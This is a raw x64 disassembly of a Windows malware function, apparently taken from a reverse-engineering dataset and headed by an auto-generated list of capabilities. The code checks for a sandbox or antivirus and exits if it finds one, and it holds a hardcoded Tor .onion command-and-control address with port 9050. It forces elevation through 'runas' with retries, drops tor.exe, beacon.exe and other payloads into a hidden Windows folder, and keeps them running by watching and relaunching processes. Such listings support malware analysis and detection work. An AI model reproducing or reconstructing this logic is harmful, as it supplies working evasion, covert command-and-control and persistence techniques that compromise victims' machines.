Function at 0x140012160
Capabilities:
Check if file exists
Create directory
Create process on windows
Enumerate processes
Get file attributes
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x14d0]
mov eax, 0x15d0
call fcn.1400782a0
sub rsp, rax
mov rax, qword [0x1400da880]
xor rax, rsp
mov qword [rbp + 0x14c0], rax
call fcn.14000ecf0
test al, al
je 0x1400121e7
lea rdx, str.Sandbox_or_Antivirus_detected__Exiting...
lea rcx, [0x1400dc070]
call fcn.14000a750
mov rcx, rax
call fcn.14000aa00
mov eax, 1
mov rcx, qword [rbp + 0x14c0]
xor rcx, rsp
call fcn.140077bf0
lea r11, [rsp + 0x15d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x43
lea rdx, str.i3p36b7sdw2gelz3jidvo6ekpzspux3susa6edaemn3gwknenmh7ofad.onion:6969
lea rcx, [rbp + 0x20]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor esi, esi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, [0x1400cbfd8]
lea rcx, [rsp + 0x38]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov r8d, 0xa
lea rdx, str._77tor.exe
lea rcx, [rbp + 0x70]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov r8d, send
lea rdx, str._77install.exe
lea rcx, [rsp + 0x60]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov r8d, reloc.WS2_32.dll_select
lea rdx, str._77securerelay.exe
lea rcx, [rbp - 0x80]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
mov r8d, 0xa
lea rdx, str._77min.exe
lea rcx, [rbp - 0x40]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str._77beacon.exe
lea rcx, [rbp - 0x60]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov r8d, 4
lea rdx, str.peon
lea rcx, [rbp + 0x90]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov r8d, 9
lea rdx, [0x1400cc0b0]
lea rcx, [rbp]
call fcn.14000b460
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 4
lea rdx, str.9050
lea rcx, [rbp - 0x20]
call fcn.14000b460
nop
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ebx, esi
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400123dc
mov dword [rsp + 0x58], 4
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x5c]
mov edx, reloc.WS2_32.dll_sendto
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400123ec
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x1400124ed
mov r8d, 0x104
lea rdx, [rbp + 0x12b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.Demande_d
lea rcx, [0x1400dc070]
call fcn.14000a750
mov rcx, rax
call fcn.14000aa00
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x12b0]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [0x1400dc070]
cmp eax, 0x20
jg 0x140012d7e
lea rdx, [0x1400ca040]
call fcn.14000a750
mov rcx, rax
call fcn.14000aa00
call fcn.14007e9d4
mov r8d, eax
mov eax, 0x10fef011
imul r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xf1
sub r8d, ecx
add r8d, 0x3c
imul edi, r8d, 0x3e8
mov eax, 0x10624dd3
imul edi
mov ebx, edx
sar ebx, 6
mov eax, ebx
shr eax, 0x1f
add ebx, eax
lea rdx, str.Nouvelle_tentative_dans
lea rcx, [0x1400dc070]
call fcn.14000a750
mov rcx, rax
mov edx, ebx
call fcn.1400064c0
mov rcx, rax
lea rdx, str._secondes...
call fcn.14000a750
mov rcx, rax
call fcn.14000aa00
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012508
lea rdx, [0x1400ca0b0]
lea rcx, [0x1400dc070]
call fcn.14000a750
mov rcx, rax
call fcn.14000aa00
mov dword [rsp + 0x58], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14001252b
cmp dword [rsp + 0x58], 0
jne 0x140012535
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call fcn.140002fa0
mov ebx, eax
lea rdx, str.Windows_Version:
lea rcx, [0x1400dc4b0]
call fcn.14000aa90
mov rcx, rax
mov edx, ebx
call fcn.1400101a0
mov rcx, rax
call fcn.140011900
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.C:_windows__77driver
lea rcx, [rbp + 0x40]
call fcn.14000b590
nop
lea rcx, [rbp + 0x40]
call fcn.140003080
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400125cc
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400125c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012d78
call fcn.140077c10
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rcx, [0x1400dc4b0]
cmp eax, 0xffffffff
jne 0x14001263e
lea rdx, str.Le_chemin_sp
call fcn.14000aa90
mov rcx, rax
call fcn.140011900
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [0x1400dc4b0]
test eax, eax
jne 0x140012635
lea rdx, [0x1400cc1a0]
call fcn.14000aa90
jmp 0x140012668
lea rdx, str.Dossier_cr
jmp 0x140012645
lea rdx, str.Le_chemin_existe_d
call fcn.14000aa90
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
mov r8, qword [rsp + 0x48]
cmova rdx, qword [rsp + 0x38]
mov rcx, rax
call fcn.1400107d0
mov rcx, rax
call fcn.140011900
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.140013300
nop
mov dword [rbp + 0xb0], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0xb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400126fc
nop
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova r8, qword [rsp + 0x60]
lea rax, [rbp + 0xdc]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400126e4
add rax, 2
test ecx, ecx
jne 0x1400126d0
mov rcx, rbx
test edx, edx
je 0x140012757
lea rdx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400126b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140003800
test al, al
jne 0x140012738
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
call fcn.1400039a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012680
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
mov dword [rbp + 0x2f0], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x2f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400127dc
nop
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
lea rax, [rbp + 0x31c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400127c4
add rax, 2
test ecx, ecx
jne 0x1400127b0
mov rcx, rbx
test edx, edx
je 0x140012834
lea rdx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012790
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x80]
call fcn.140003800
test al, al
jne 0x140012816
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x80]
call fcn.1400039a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012760
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x38]
call fcn.140010ff0
mov dword [rbp + 0x530], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x530]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400128bc
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r8, qword [rbp - 0x60]
lea rax, [rbp + 0x55c]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400128a4
add rax, 2
test ecx, ecx
jne 0x140012890
mov rcx, rbx
test edx, edx
je 0x140012914
lea rdx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012872
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140003800
test al, al
jne 0x1400128f6
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x60]
call fcn.1400039a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012844
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
mov dword [rbp + 0x770], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x770]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14001299c
nop
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova r8, qword [rbp - 0x40]
lea rax, [rbp + 0x79c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140012984
add rax, 2
test ecx, ecx
jne 0x140012970
mov rcx, rbx
test edx, edx
je 0x1400129f4
lea rdx, [rbp + 0x770]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012950
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x40]
call fcn.140003800
test al, al
jne 0x1400129d6
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x40]
call fcn.1400039a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012920
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x9b0], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x9b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140012a7c
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova r8, qword [rsp + 0x60]
lea rax, [rbp + 0x9dc]
sub r8, rax
nop
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140012a64
add rax, 2
test ecx, ecx
jne 0x140012a50
mov rcx, rbx
test edx, edx
je 0x140012ad1
lea rdx, [rbp + 0x9b0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012a33
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140003800
test al, al
jne 0x140012ab8
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
call fcn.1400039a0
mov ecx, 0x1388
jmp 0x1400129ff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
mov dword [rbp + 0xbf0], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0xbf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140012b5c
nop
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
lea rax, [rbp + 0xc1c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140012b44
add rax, 2
test ecx, ecx
jne 0x140012b30
mov rcx, rbx
test edx, edx
je 0x140012bb4
lea rdx, [rbp + 0xbf0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012b10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x80]
call fcn.140003800
test al, al
jne 0x140012b96
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x80]
call fcn.1400039a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012ae0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
mov dword [rbp + 0xe30], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0xe30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140012c3c
nop
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r8, qword [rbp - 0x60]
lea rax, [rbp + 0xe5c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140012c24
add rax, 2
test ecx, ecx
jne 0x140012c10
mov rcx, rbx
test edx, edx
je 0x140012c94
lea rdx, [rbp + 0xe30]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012bf0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140003800
test al, al
jne 0x140012c76
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x60]
call fcn.1400039a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012bc0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
mov dword [rbp + 0x1070], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x1070]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140012d20
nop
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova r8, qword [rbp - 0x40]
lea rax, [rbp + 0x109c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140012d04
add rax, 2
test ecx, ecx
jne 0x140012cf0
mov rcx, rbx
test edx, edx
je 0x1400129f4
lea rdx, [rbp + 0x1070]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140012cd0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x40]
call fcn.140003800
test al, al
jne 0x140012d5a
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x20]
call fcn.140003db0
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x40]
call fcn.1400039a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012ca0
call fcn.1400850bc
int3
lea rdx, [0x1400ca008]
call fcn.14000a750
mov rcx, rax
call fcn.1400066c0
xor ecx, ecx
call fcn.14007de90
int3